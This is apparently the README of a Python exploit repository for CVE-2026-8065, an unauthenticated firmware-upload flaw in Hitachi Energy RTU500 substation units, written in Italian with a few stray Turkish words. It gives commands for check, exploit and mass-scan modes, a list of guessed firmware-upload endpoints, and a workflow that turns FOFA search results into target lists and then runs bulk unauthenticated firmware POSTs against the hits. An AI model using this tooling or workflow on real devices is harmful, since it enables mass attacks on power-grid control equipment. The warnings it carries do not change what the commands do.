murrez/cve-2026-8065PoC in Python per CVE-2026-8065: identifica i dispositivi Hitachi Energy RTU500 e sonda gli endpoint di aggiornamento del firmware per verificare la presenza di upload non autenticato, con modalità check, exploit e scansione di massa.
PoC in Python 3 per CVE-2026-8065 — Firmware CMU della serie RTU500 di Hitachi Energy — aggiramento dell'autenticazione (CWE-306) sull'endpoint HTTP di aggiornamento firmware. CVSS 3.1 9.1 Critico (IoT/OT).
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 Autenticazione mancante per funzione critica |
| Impatto | Caricamento arbitrario di firmware non autenticato → integrità / disponibilità dell'RTU della sottostazione |
RTU500 è la famiglia di Remote Terminal Unit (unità terminale remota) utilizzata nel settore della trasmissione/distribuzione di energia; la gestione del firmware CMU avviene tramite il server web. In CVE-2026-8065, l'endpoint di aggiornamento del firmware diventa accessibile senza autenticazione (o tramite bypass con POST craftato); un attaccante può caricare firmware arbitrario, modificando la funzionalità del dispositivo, compromettendone l'integrità o causando un DoS.
Ciò significa un impatto OT critico da remoto con PR:N nella rete di automazione — deve essere testato solo in un laboratorio di isolamento autorizzato o nell'ambito di un pentest approvato dal vendor.
Vendor (CNA) interessato: RTU500 Series CMU Firmware — linee di versione 9.0 e 12.0 (versioning personalizzato; consultare l'advisory aggiornato e le note di patch 13.8.2+).
Hitachi Energy ha assegnato CVE-2026-8065 (pubblicato il 2026-09-29):
Una vulnerabilità di aggiramento dell'autenticazione nell'endpoint di aggiornamento firmware di Hitachi Energy RTU500 consente a un attaccante non autenticato di caricare firmware arbitrario tramite una richiesta POST appositamente costruita.
A differenza di CVE-2024-2617 (utente autenticato che aggira l'aggiornamento sicuro quando disabilitato), CVE-2026-8065 è un accesso non autenticato alla funzione di aggiornamento stessa — una lacuna completa CWE-306 su una superficie OT critica per la sicurezza.
Gli avvisi pubblici potrebbero non elencare ancora l'URI esatto; la documentazione RTU500 descrive la gestione del firmware tramite Configuration Management / trasferimento file del server web. Questa PoC identifica l'RTU500 e sonda un elenco curato di possibili percorsi POST per il firmware, quindi (in modalità exploit) invia un blob di prova non di produzione (POCBIT-8065-FW-PROBE) per rilevare risposte di accettazione non autenticata.
| Modalità | Comportamento |
|---|---|
| check | Sonda HTTP(S) multi-porta, marcatori HTML RTU500, regex versione CMU, sonda GET sui percorsi firmware |
| exploit | POST multipart di un falso .fw senza cookie di sessione; exploited se 2xx + euristiche di accettazione |
| mass | --list + -j; hits.txt / exploited.txt |
--dry-run | Exploit: solo sonda GET sul percorso firmware (nessun POST) |
--lab | RTU500 mock locale — deve mostrare exploited: true (verifica di sanità) |
--force | Exploit senza fingerprint HTML RTU500 |
--firmware-paths | Sostituisce l'elenco dei percorsi (separati da virgola) quando il percorso del fornitore è noto |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, product.
Sicurezza: Il payload exploit predefinito non è un'immagine flash CMU valida — solo un marcatore + padding per il rilevamento. Non puntare mai la modalità exploit su apparecchiature di rete elettrica in produzione senza isolamento e coordinamento con il fornitore.
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
Con --list --mode check bulk attivo per impostazione predefinita: 1–2 GET per target (URL della lista + se necessario http/https), nessuna scansione di 16 percorsi firmware, timeout breve (4s connect, 10s read), -j 32 predefinito.
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
Avanzamento nella CLI: [done/total hedef/s]; gli hit vengono scritti immediatamente come HIT.
La lista FOFA cert="Hitachi" è molto rumorosa; nel CSV scansionate prima la lista di priorità tramite rtu_priority. Check hit ≠ RTU reale: le SPA aziendali in cui compare solo hitachi energy diventano vendor_branding_only / vendor_branding_spa_false_positive; per l'exploit è necessario un fingerprint strong come rtu500 / rtutil500 / cmu firmware (altrimenti --force).
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
Il PoC alterna (verifica GET / exploit POST):
/api/firmware/update, /api/firmware/upload, /api/v1/firmware/update/firmware/update, /firmware/upload, /ws/firmware/update/CMU/firmware/upload, /ConfigurationManagement/Firmware/configuration/management/firmware, /FileUpload/Firmware/scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/uploadQuando Hitachi pubblica il percorso esatto, impostare --firmware-paths su quella sola URI.